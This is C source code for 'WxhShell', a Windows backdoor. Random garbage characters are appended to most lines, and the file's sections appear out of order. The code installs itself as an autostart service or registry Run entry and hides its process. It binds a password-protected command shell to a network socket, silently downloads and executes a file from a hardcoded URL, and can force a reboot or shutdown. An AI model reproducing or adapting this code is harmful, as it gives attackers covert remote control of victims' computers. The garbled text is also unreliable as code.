    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?A`8c R=)I  
    if(Boot(SHUTDOWN)) yITL;dBy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U9eb&nd  
    else { aokV'6  
    closesocket(wsh); &yN/ AY`U  
    ExitThread(0); CFyu9Al  
    } akB+4?+s)  
    break; WG=~GDS>  
    } Vp j[)W%L  
  // 获取shell A-om?$7  
  case 's': { +Ssu^ >D  
    CmdShell(wsh); tEE4"OAy  
    closesocket(wsh); G~N$bF^R)  
    ExitThread(0); !au%D?w  
    break; N497"H</  
  } I` +%ab  
  // 退出 qGrUS_~q*  
  case 'x': { .T|1l$Jn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i_M0P12  
    CloseIt(wsh); (Ceq@eAlT  
    break; rVF7!|&  
    }  %kSpMj|  
  // 离开 NT&sk rzW  
  case 'q': { >y{oC5S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L92vb zP  
    closesocket(wsh); D3xyJ  
    WSACleanup(); Q@w=Jt<  
    exit(1); Tj v)jD  
    break; E\lel4ai  
        } b]cnTR2E  
  } Z/~7N9?m(  
  } cH>3|B*y  
yON";|*\m  
  // 提示信息 T>qI,BEY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +o[- ED  
} B9i< ="=p  
  } ,ctm;T1H+  
I@jXW>$  
  return; X8Y)5,`s  
} ! uX0G4  
.Qz412  
// shell模块句柄 Wd<|DmSy  
int CmdShell(SOCKET sock) 5,Hj$v7fe  
{ >IFqwh7b  
STARTUPINFO si; :7Jpt3  
ZeroMemory(&si,sizeof(si)); D,sb {N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c|KN@)A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?4A$9H  
PROCESS_INFORMATION ProcessInfo; bHf> EU  
char cmdline[]="cmd"; "s.]amC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tX@G`Mr(  
  return 0; R7Z7o4jg  
} xq-TT2}<L  
pf[m"t6G~  
// 自身启动模式 S&Szc0-|k  
int StartFromService(void) Bt[Wh@  
{ lJIcU RI4  
typedef struct !Pf6UNN'  
{ `y0u(m5  
  DWORD ExitStatus; z8-dntkf  
  DWORD PebBaseAddress; 7wB*@a-  
  DWORD AffinityMask; H{CiN  
  DWORD BasePriority; Z0#&D&2sV  
  ULONG UniqueProcessId; nC2e^=^  
  ULONG InheritedFromUniqueProcessId; &&$,BFY4  
}   PROCESS_BASIC_INFORMATION; TcKt   
PqVz ^(Wz  
PROCNTQSIP NtQueryInformationProcess; N6UPD11}6  
` 5lW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @:%p#$V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ![H{ndH!Q  
c[<>e#s+;  
  HANDLE             hProcess; 8o%g2 P9.  
  PROCESS_BASIC_INFORMATION pbi; rGIf/=G^r  
$z48~nu@ j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TkyP_*  
  if(NULL == hInst ) return 0; XSoHh-  
4Mck/i2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A\:u5(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |zCT~#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4157!w'\y  
U *K6FWqiB  
  if (!NtQueryInformationProcess) return 0; VAnP3:  
-~=?g9fGm6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (T 8In  
  if(!hProcess) return 0; _-c1" Kl  
6haw\ *  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ygs:Ox"[-G  
 JcJc&cG  
  CloseHandle(hProcess);  up==g  
PL|zm5923  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &@[pJ2  
if(hProcess==NULL) return 0; I3,0vnE@  
rm?C_  
HMODULE hMod; UVlh7wjg  
char procName[255]; %yPjPUHy  
unsigned long cbNeeded; k;V (rf`  
)1, U~+JFU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WNo7`)Kx  
R8bKE(*rxj  
  CloseHandle(hProcess); 0i3Z7l]  
T]UrKj/iF  
if(strstr(procName,"services")) return 1; // 以服务启动 ,+GS.]8<  
j{&$_  
  return 0; // 注册表启动 f~t5[D(\Q,  
} me  ,lE-  
KEfwsNSc%  
// 主模块 p G(Fw>  
int StartWxhshell(LPSTR lpCmdLine) [!ilcHE)  
{ +%  !'~  
  SOCKET wsl; ,,=VF(@G  
BOOL val=TRUE; F!7\Za,  
  int port=0; J?"v;.K|hU  
  struct sockaddr_in door; X+[h]A  
^d@ME<mb  
  if(wscfg.ws_autoins) Install(); ifI0s)Pn  
FFq8LM8  
port=atoi(lpCmdLine); SbXV'&M2AT  
KD^n7+w%  
if(port<=0) port=wscfg.ws_port; @fh:lsw  
LMHii Os,  
  WSADATA data; ~+S,`8-P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DI0Wk^m  
Pe/8=+qO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6lob&+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?M B Od9  
  door.sin_family = AF_INET; AwtiV-w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `R m<1  
  door.sin_port = htons(port); Xf{ht%b  
\OE,(9T2P.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e:+[}I)  
closesocket(wsl); !uW;Ea?  
return 1; I_5[-9  
} M4)Y%EPc  
`l?(zy:R  
  if(listen(wsl,2) == INVALID_SOCKET) { Ejt?B')aB5  
closesocket(wsl); A_g\Fa[jG  
return 1; lS{ ^*(a  
} IC:>60A,]  
  Wxhshell(wsl); uNf97*~_  
  WSACleanup(); e7r3o,!  
9c{T|+ ]  
return 0; 5;@2SY7 ,  
js;k,`  
} C;0VR  
kgP6'`}E[  
// 以NT服务方式启动 Y?AvcY.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $CDRIn50  
{ nhy:5eSK  
DWORD   status = 0; #H;1)G(/  
  DWORD   specificError = 0xfffffff; m+QZ|  
cJ#n<Rsz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M'nzoRk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %$'Z"njO&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E<'V6T9bi  
  serviceStatus.dwWin32ExitCode     = 0; 5}TTf2&Xo#  
  serviceStatus.dwServiceSpecificExitCode = 0; "Pl.G[Buc-  
  serviceStatus.dwCheckPoint       = 0; U;#G $  
  serviceStatus.dwWaitHint       = 0; s\e b  
%?Q<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HdRwDW@7=  
  if (hServiceStatusHandle==0) return; #xh M&X  
cb }OjM F  
status = GetLastError(); j [4l'8Ek  
  if (status!=NO_ERROR) xg;vQKS6  
{ ;sAe#b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V3<#_:;  
    serviceStatus.dwCheckPoint       = 0; 8&SW Q  
    serviceStatus.dwWaitHint       = 0; Q})&c.L  
    serviceStatus.dwWin32ExitCode     = status; QYps5zcn  
    serviceStatus.dwServiceSpecificExitCode = specificError; tuJ{IF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DfX~}km  
    return; y#FFxSH>  
  } DD}YbuO7  
#xw3a<z?u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K=> j+a5$  
  serviceStatus.dwCheckPoint       = 0; kG u{[Rh  
  serviceStatus.dwWaitHint       = 0; C8%MKNPd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mtc  -  
} ]fSpG\yU  
e_}tK1XY  
// 处理NT服务事件,比如:启动、停止 |3BxNFe`%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U~w8yMxX  
{ KG GJ\r6  
switch(fdwControl) $!^C|,CS  
{ +5Ju `Z  
case SERVICE_CONTROL_STOP: NH4T*R)Vz  
  serviceStatus.dwWin32ExitCode = 0; U6#9W}CE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %WPy c%I  
  serviceStatus.dwCheckPoint   = 0; ;Kh?iq n^  
  serviceStatus.dwWaitHint     = 0; B & ]GGy  
  { n7.85p@ua  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vs@u*4.Ut<  
  } <8^ws90Y  
  return; 5 p ,HkV  
case SERVICE_CONTROL_PAUSE: cNMDI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HMhdK  
  break; ,z#S=I  
case SERVICE_CONTROL_CONTINUE: 0,B"p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]"'1-h91  
  break; Bm  4$  
case SERVICE_CONTROL_INTERROGATE: SPm2I(at7  
  break; <j1r6.E)  
}; "JE->iD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %~[@5<p  
} pJIJ"o'>.9  
uSv]1m_-]  
// 标准应用程序主函数 H.[nr:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %<`sDO6Q?  
{ _k#GjAPM  
GK [Hs 1/  
// 获取操作系统版本 Jv kTfTE7  
OsIsNt=GetOsVer(); a% /D~5Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M\RHFTB<C  
hFnUw2 6P  
  // 从命令行安装 )Myx(w"S  
  if(strpbrk(lpCmdLine,"iI")) Install(); WLiFD.  
N*+WGsxl$z  
  // 下载执行文件 |Xt6`~iC  
if(wscfg.ws_downexe) { _na/&J 6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yb,$UT"]  
  WinExec(wscfg.ws_filenam,SW_HIDE); i(kx'ua?  
} <o/lK\>  
Vi>P =i  
if(!OsIsNt) { FiSx"o  
// 如果时win9x,隐藏进程并且设置为注册表启动 &?5me:aU  
HideProc(); Mkr &30il[  
StartWxhshell(lpCmdLine); aq\Fh7  
} {^k7}`7,  
else o#>Mf464I  
  if(StartFromService()) l| y.6v  
  // 以服务方式启动 WJk3*$=  
  StartServiceCtrlDispatcher(DispatchTable); WJ,?5#  
else m'M5O@?  
  // 普通方式启动 VQ8Fs/Zt!  
  StartWxhshell(lpCmdLine); >">Xd@Wk  
8#[2]1X^8  
return 0; v]rbm}uU9  
} 6}~k4;'}A  
7}e5ac  
5Pf)&iG  
% bKy  
=========================================== dKhS;!K9p  
4q.yp0E  
5F!i%{XQvm  
I@IE0+ [n  
}2S)CL=  
{R"mvB`  
" {`-AIlH(  
Hp5.F>-  
#include <stdio.h> 14A(ZWwq9  
#include <string.h> n5)ml)m  
#include <windows.h> F6}YM|  
#include <winsock2.h> cP\ZeG#<  
#include <winsvc.h> !tb!%8{~  
#include <urlmon.h> |oSqy  
JJ'f\f9  
#pragma comment (lib, "Ws2_32.lib") Y!+H9R  
#pragma comment (lib, "urlmon.lib") ;j qF:Wl@  
nM *}VI  
#define MAX_USER   100 // 最大客户端连接数 bYqv)_8  
#define BUF_SOCK   200 // sock buffer ;+bF4r@:+  
#define KEY_BUFF   255 // 输入 buffer #m;o)KkH$r  
XN{WxcZ  
#define REBOOT     0   // 重启 o ZQ@Yu3  
#define SHUTDOWN   1   // 关机 ym_as8A*Q  
7U-}Y  
#define DEF_PORT   5000 // 监听端口 @pH6FXVGzt  
]z#)XW3#i  
#define REG_LEN     16   // 注册表键长度 =)Fb&h]G^  
#define SVC_LEN     80   // NT服务名长度 5z\,]  
5>UQ3hWo  
// 从dll定义API %Y"pVBc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?uU_N$x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $zF%F.rln  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l]j;0i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]{|lGtK %  
#,97 ]  
// wxhshell配置信息 |'I>Ojm  
struct WSCFG { KW3<5+w]c  
  int ws_port;         // 监听端口 <L<^uFB  
  char ws_passstr[REG_LEN]; // 口令 1yqsE`4f  
  int ws_autoins;       // 安装标记, 1=yes 0=no TL)7X.1'L  
  char ws_regname[REG_LEN]; // 注册表键名 k~3\0man  
  char ws_svcname[REG_LEN]; // 服务名  <4< y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $G{j[iLY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y%x:~.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W*DK pJy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _1mpsY<k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !aKu9SR^e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |MagK$o  
kR:kn:  
};  \m+=|  
#`!mQSK  
// default Wxhshell configuration agE-,  
struct WSCFG wscfg={DEF_PORT, k+*pg4 '  
    "xuhuanlingzhe", |QMmF"0  
    1, `& '{R<cL  
    "Wxhshell", #9 Fk&Lx  
    "Wxhshell", m)  rVzL  
            "WxhShell Service", !m%'aQHH(  
    "Wrsky Windows CmdShell Service", ef_H*e  
    "Please Input Your Password: ", 2`j{n \/  
  1, A{M7   
  "http://www.wrsky.com/wxhshell.exe", iOSt=-p  
  "Wxhshell.exe" gs=ok8w  
    }; "C(yuVK1G  
ru6M9\h*  
// 消息定义模块 R MOs1<D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VW*?(,#j{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A?$-Uqb"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QgQclML1|  
char *msg_ws_ext="\n\rExit."; u;!h   
char *msg_ws_end="\n\rQuit."; bsr]Z&9rrk  
char *msg_ws_boot="\n\rReboot..."; :I7mM y*  
char *msg_ws_poff="\n\rShutdown..."; `& h-+  
char *msg_ws_down="\n\rSave to "; e+F $fQt>  
[\Nmm4  
char *msg_ws_err="\n\rErr!"; 4]$OO'  
char *msg_ws_ok="\n\rOK!"; )?7/fF)@|  
H1L)9oa  
char ExeFile[MAX_PATH]; xx|D#Z}G  
int nUser = 0; |yz o|%]3  
HANDLE handles[MAX_USER]; -iY-rzW  
int OsIsNt; `#wEa'v6  
q@O  
SERVICE_STATUS       serviceStatus; s6Dkh}:d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (5,x5l]-N  
(6NDY5h~=n  
// 函数声明 S'W,AkT  
int Install(void); d*VvQU8C  
int Uninstall(void); ryw%0H18  
int DownloadFile(char *sURL, SOCKET wsh); !#WQ8s!?o  
int Boot(int flag); JM?__b7g2  
void HideProc(void); aG#d41O  
int GetOsVer(void); VzIZT{  
int Wxhshell(SOCKET wsl); HY1K(T  
void TalkWithClient(void *cs); 1]5k l J  
int CmdShell(SOCKET sock); ,4`Vl<6  
int StartFromService(void); Y .cjEeL@  
int StartWxhshell(LPSTR lpCmdLine); 6 C O5:\  
Q4L=]qc T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QBH|pr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D&I/Tbc  
/$]S'[5uF  
// 数据结构和表定义 4o;;'P   
SERVICE_TABLE_ENTRY DispatchTable[] = k;`1Ia  
{ 8 5)C7tJ-g  
{wscfg.ws_svcname, NTServiceMain}, F$jy~W_  
{NULL, NULL} &|}QdbW  
}; ^#mWV  
2boyBz}=S  
// 自我安装 /; /:>c  
int Install(void) 9N{?J"ido  
{ hkm}oYW+  
  char svExeFile[MAX_PATH]; %&VI-7+K  
  HKEY key; (n~fe-?}8  
  strcpy(svExeFile,ExeFile); !g6=/9  
mMOgx   
// 如果是win9x系统,修改注册表设为自启动 XP0;Q;WF}  
if(!OsIsNt) { rQGInzYp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KK1?!7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a^|9rho<  
  RegCloseKey(key); qyFeq])  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4c{j9mh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eu~1t& 4  
  RegCloseKey(key); wB' !@>db  
  return 0; wIR"!C>LE  
    } reArXmU<u  
  } !iNwJ|0  
} C4d'z(<  
else { CLe{9-o  
s8 MQ:eAP  
// 如果是NT以上系统,安装为系统服务 ` - P1Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1KGf @u%-1  
if (schSCManager!=0) ,!alNNY  
{ 8>LDo"<  
  SC_HANDLE schService = CreateService 3**t'iWQ  
  ( V*fv>f:Yv  
  schSCManager, .w@B )f*  
  wscfg.ws_svcname, +Ek1~i.  
  wscfg.ws_svcdisp, 9W]OtSG  
  SERVICE_ALL_ACCESS, 1n}#54  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8> $=p4bf  
  SERVICE_AUTO_START, (n: A` ]  
  SERVICE_ERROR_NORMAL, XNfl  
  svExeFile, lF.kAEC  
  NULL, V!Sm,S(  
  NULL, 3{t[>O;  
  NULL, ^'M^0'_"v  
  NULL, 6| o S 5  
  NULL v<g~ EjzCf  
  ); febn?|@  
  if (schService!=0) u/S>*E  
  { w xte  
  CloseServiceHandle(schService); 7B\NP`l  
  CloseServiceHandle(schSCManager); D}X6I#U'/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wd<{%qK`{  
  strcat(svExeFile,wscfg.ws_svcname); g[t paQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R) dP=W*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r)Lm| S  
  RegCloseKey(key); .I_<\h7  
  return 0; 5p}j{f  
    } _>;MQ)Km~  
  } 1 hFh F^  
  CloseServiceHandle(schSCManager); |ka/5o  
} 1W\wIj.  
} ^VG].6  
1P1h);*Z  
return 1; EmrkaV-?k  
} LL (TD&  
.zt&HI.F  
// 自我卸载 vk X+{n  
int Uninstall(void) 0L8fpGJ  
{ k+?gWZ \  
  HKEY key; 1:^Xd~X  
r,Xyb`  
if(!OsIsNt) { OaY89ko  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }0]uA|lH*  
  RegDeleteValue(key,wscfg.ws_regname); [)jNy_4  
  RegCloseKey(key); SJh~4R\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hd\oV^ >  
  RegDeleteValue(key,wscfg.ws_regname); qwJp&6  
  RegCloseKey(key); UjoA$A!Od;  
  return 0; (BxmV1  
  } w:deQ:k  
}  ^,ISz-4  
} D84&=EpVZ  
else { Q4LPi;{\  
Y G8C<g6E7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (t V T&eO  
if (schSCManager!=0) [:gg3Qzx  
{ {5X,xdzR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _4L6  
  if (schService!=0) 5fiWo^s}  
  { %bF157X5An  
  if(DeleteService(schService)!=0) { ercXw7{  
  CloseServiceHandle(schService); ,<#Rk 'y$  
  CloseServiceHandle(schSCManager); ys`oHS f  
  return 0; 3T0-RP*  
  } o/V T"cT  
  CloseServiceHandle(schService); %CvVu)tc  
  } aZ_3@I{d`  
  CloseServiceHandle(schSCManager); aN0 7\  
} lkJxb~S  
} ,K\7y2/  
%]0?vw:;j  
return 1; S#8)N`  
} D QxuV1  
1Hr1Ir<KR  
// 从指定url下载文件 7 rRI-wZ  
int DownloadFile(char *sURL, SOCKET wsh) f"j9C% '*  
{ ]*mUc`  
  HRESULT hr; p o)lN[v  
char seps[]= "/"; ElB[k<  
char *token; K/N{F\  
char *file; =:w,wI.  
char myURL[MAX_PATH]; F_R\  
char myFILE[MAX_PATH]; &@CUxK  
wn.6l `  
strcpy(myURL,sURL); u*=^>LD  
  token=strtok(myURL,seps); e CN:  
  while(token!=NULL) h~9P3 4m  
  { 9m2FH~  
    file=token; w*/@|r39  
  token=strtok(NULL,seps); =gR/ t@Ld  
  } .(cpYKFX  
)}N:t:rry  
GetCurrentDirectory(MAX_PATH,myFILE); .|go$}Fk  
strcat(myFILE, "\\"); p~8O6h@J  
strcat(myFILE, file); j_}:=3  
  send(wsh,myFILE,strlen(myFILE),0); 0%L:jq{5  
send(wsh,"...",3,0); @M<qz\ [  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q[NoFZ V!  
  if(hr==S_OK) ~>9G\/u j  
return 0; bK0(c1*a[e  
else 9,_~qWw  
return 1; S g1[p#U  
SZrc-f_  
} ^ }5KM87  
fu~iF  
// 系统电源模块 f9>pMfi:@  
int Boot(int flag) yBs-bp"-  
{ WLj]EsA.  
  HANDLE hToken; [@VzpVhXz  
  TOKEN_PRIVILEGES tkp; {X?1}5ry  
SS`\_@ci  
  if(OsIsNt) { )mOM!I7D@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :ZB.I(v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `{ >/'o  
    tkp.PrivilegeCount = 1; `|AH3v1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tR<#CCtRp'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0vSPeZ  
if(flag==REBOOT) { }1k?th  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *Us}E7/"'  
  return 0; ^8 ,prxaok  
} %au>D  
else { O-UA2?N@j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y_n4Y[4g  
  return 0; svEe@Kt`  
} ?32~%?m  
  } Myg;2.  
  else { g7hI9(8+  
if(flag==REBOOT) { d{NMG)`x\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S WTZ6(!oW  
  return 0; %SIll  
} ?K2EK'-q  
else { t~K[`=G\ex  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 52o^]  
  return 0; BI,]pf;GWv  
} 9RJ#zUK  
} oVHe<zE.  
`G: 1  
return 1; ~:Z|\a58j  
} NV/paoyx:*  
iOv>g-t:  
// win9x进程隐藏模块 =e#h;x2  
void HideProc(void) n]4Elrxx  
{ (#>X*~6  
Fyw X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u5rvrn ]  
  if ( hKernel != NULL ) ZaY|v-  
  { <h#W*a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o@360#njF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f!YlYk5  
    FreeLibrary(hKernel); &P}t<;  
  } |+HJ>xA4I  
7z3tDE[#  
return; fCY??su*   
} "dt}k$Gr  
nPI$<yW7F  
// 获取操作系统版本 N3#^Ifn[  
int GetOsVer(void) <Bn0wr8)\  
{ /t]1_  
  OSVERSIONINFO winfo; =EYgck;)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [75?cQD  
  GetVersionEx(&winfo); Yh!k uS#<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dB#c$1  
  return 1; pO)EYla9  
  else i;]0>g4  
  return 0; MYVVI1A  
} 2eRk_j]  
fHZ9wK>  
// 客户端句柄模块 i qxMTH#!  
int Wxhshell(SOCKET wsl) 1|G\&T   
{ nJv=kk1|o  
  SOCKET wsh; T<Y*();Zo  
  struct sockaddr_in client; 2<8l&2}7]  
  DWORD myID; s1[.L~;J  
~e,l2 <  
  while(nUser<MAX_USER) ~cO iv  
{ vdUKIP =|_  
  int nSize=sizeof(client); .UX4p =  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \5<Z[#{  
  if(wsh==INVALID_SOCKET) return 1; ->;2CcpHB  
(AjgLNB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 58HAl_8W  
if(handles[nUser]==0) =IX-n$d`>  
  closesocket(wsh); $i<+O,@-  
else Q{=r9&&  
  nUser++; 38X{>*  
  } G{X7;j e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C]JK'K<7-  
Zz:%KUl3  
  return 0; FhBV.,bU,m  
} y?r`[{L(lA  
M/[_~  
// 关闭 socket ~AaEa,LQ  
void CloseIt(SOCKET wsh) ?ZC!E0]  
{ MK Sw  
closesocket(wsh); lq3D!+ m  
nUser--; )AcevEHB  
ExitThread(0); WB'1_a  
} {=d}04i)E"  
2auJp .  
// 客户端请求句柄 lZIJ[.  
void TalkWithClient(void *cs) jzpDKc%  
{ J_yXL7d  
`w4'DB-R)  
  SOCKET wsh=(SOCKET)cs; U8>4ClJ4  
  char pwd[SVC_LEN]; K9}Brhe  
  char cmd[KEY_BUFF]; &k_LK  
char chr[1]; 7KUf,0D  
int i,j; v \; /P  
3 .j/D^  
  while (nUser < MAX_USER) { RRQv<x  
->IZZ5G<  
if(wscfg.ws_passstr) { i-wWbZ-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x _-V{ k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )@Y< <9'2  
  //ZeroMemory(pwd,KEY_BUFF); DS@Yto  
      i=0; RTg\c[=w  
  while(i<SVC_LEN) { S^D@8<6GJ  
<?DI!~  
  // 设置超时 4=y&}3om(0  
  fd_set FdRead; as/PM"  
  struct timeval TimeOut; Y%TY%"<  
  FD_ZERO(&FdRead); @aFk|.6  
  FD_SET(wsh,&FdRead); WO!OaC?+B,  
  TimeOut.tv_sec=8; _ 3>E+9TQ  
  TimeOut.tv_usec=0; Qqj9o2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >e-0A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w9"~NK8xzM  
;{R;lF,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jHHCJOHB8  
  pwd=chr[0]; O+< +yQl  
  if(chr[0]==0xd || chr[0]==0xa) { "8?Fl&=Q  
  pwd=0; Dz2Z (EXI~  
  break; }Cfl|t<5f  
  } |-*50j l  
  i++; n dN*X'  
    } >hG*=4oh  
87S,6Y  
  // 如果是非法用户,关闭 socket x}WP1YyT~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;[P>  
} 5f0g7w =-  
#M#$2Vt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x)$0Nr62D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t3^`:T\  
q&6|uV])H  
while(1) { R@Gll60  
H!"TS-s`  
  ZeroMemory(cmd,KEY_BUFF); g$Vr9MH  
V)5,E>;EN  
      // 自动支持客户端 telnet标准   SE i\H$ !  
  j=0; ?< yYm;B  
  while(j<KEY_BUFF) { 8vR'<_>Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z9 #-  
  cmd[j]=chr[0]; 69:-c@ L0  
  if(chr[0]==0xa || chr[0]==0xd) { X6w+L?A  
  cmd[j]=0; - 3PLP$P  
  break; ([rSYKpi  
  } <:nyRy}  
  j++; HFyQ$pbBU  
    } !OPHS^L  
%yfl-c(u  
  // 下载文件 b *0uxvLu  
  if(strstr(cmd,"http://")) { #< :`:@2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ii/{xVMD  
  if(DownloadFile(cmd,wsh)) -h ^MX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \4<|QE  
  else rp1+K4]P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 't*]6^  
  } CZ$B2i6  
  else { /yx)_x{  
R/E6n &R  
    switch(cmd[0]) { 'YbE%i}  
